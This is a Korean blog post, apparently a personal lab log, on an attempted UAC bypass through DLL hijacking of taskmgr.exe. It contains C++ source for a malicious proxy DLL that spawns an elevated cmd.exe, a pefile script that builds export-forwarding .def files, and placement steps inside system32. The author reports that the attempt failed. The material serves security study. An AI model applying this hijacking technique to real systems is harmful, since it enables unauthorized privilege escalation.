Abuse Elevation Control Mechanism
- UAC bypass -
참고로 해당 실습은 3개월 전에 진행한 것이다.
업데이트 확인 작업 시.. 존재하지 않는 DLL인 WindowsCoreDeviceInfo.dll을 로드하려함.
내가 해야하는 것
- 일반 프로세스를 시스템권한까지 올림.
- 이를 위해 시스템 권한을 가진 프로세스로의 인젝션 또는 하이재킹이 필요하다.
- 단, UAV없이 바로 시스템권한으로의 상승이 필요하다.
- 시스템권한을 가진 프로세스로 하이재킹한 후.. shellExcuteEx() 함수를 통해 시스템권한을 가진 자식프로세스를 생성.
- 여기서 자식프로세스의 역할은 일반 권한의 프로세스를 선택해서 setPrivilege같은 함수 통해 일반권한 프로세스 시스템 권한으로 상승시키기.
그럼 당장
- taskmgr.exe 하이재킹할 것:
왜냐면 UAC 알림이 뜨지 않음에도 Integrity Level이 High이기 때문임. 이게.. AutoElevation이라는 기능임. 사용자에게 허가 받지 않고도 UAC 권한 자동 획득하는 것. autoElevate가 true
- 일반권한의 프로세스: calc.exe
1. procmon에서 누락된 dll파일 찾기
2. propsys.dll 원본 찾기
3. 내 evil.cpp과 합쳐서 evil.dll만들 것
```cpp
#include <windows.h>
#include <stdio.h>
void shellexcuteex_levelup(LPCTSTR lpFile) {
BOOL bShellExecute = FALSE;
SHELLEXECUTEINFO stShellInfo = { sizeof(SHELLEXECUTEINFO) }; // 구조체 초기화
stShellInfo.lpVerb = TEXT("runas"); // 관리자 권한 실행
stShellInfo.lpFile = TEXT(lpFile); // 권리자 권한으로 실행시킬 파일
stShellInfo.nShow = SW_SHOWNORMAL; // 실행될 프로세스의 윈도우 보여주기
bShellExecute = ShellExecuteEx(&stShellInfo);
if (!bShellExecute)
{
printf("shellexcute false... \n");
}
return;
}
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
){
switch (ul_reason_for_call)
{
case DLL_PROCESS_ATTACH:{
shellexcuteex_levelup("cmd.exe");
MessageBox(
NULL,
"YOU JUST ACTIVATED MY TRAP CARD",
"X_X",
MB_OK
);
}
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
- 이전에 실습 시 작성해두었던 파이썬 스크립트 이용해서 정상 dll을 def파일로
import pefile
import sys
import os.path
dll = pefile.PE(sys.argv[1])
dll_basename = os.path.splitext(sys.argv[1])[0]
try:
with open(sys.argv[1].split("/")[-1].replace(".dll", ".def"), "w") as f:
f.write("EXPORTS\n")
for export in dll.DIRECTORY_ENTRY_EXPORT.symbols:
if export.name:
f.write('{}={}.{} @{}\n'.format(export.name.decode(), dll_basename, export.name.decode(), export.ordinal))
except:
print ("ANG? faild.")
else:
print ("hihihihi. success!")
4. system32\ime\imekr 폴더 내에 dll파일 옮긴 후 이름변경 → propsys.dll
5. taskmgr.exe 실행시켜보고 messageBox 확인
여기서 안뜸.
왜일까? 확인 해 보았다.
난외 행복할수업서
그래도 어떻게 잘 넣었다. 이름바꾸기가 문제였다. 그냥.. 다른 폴더에서 이름바꿔와서 복붙하니 해결
하지맍..
컴퓨터가 거부하고 있다.
그리고 컴퓨터가 터졌다.
ㅅㅂㅋㅋ안켜짐 실화인가?
이래서 느려터져도 vmware 쓰는구나
'System > TTPs' 카테고리의 다른 글
2. DLL Hijacking (0) | 2023.03.29 |
---|---|
1. Process Hollowing이란? (0) | 2023.03.29 |
AV 엔진 우회 2 (0) | 2022.06.11 |
VM 엔진 우회 실습 1 (0) | 2022.04.28 |
AV 엔진 우회 실습 1 (0) | 2022.04.26 |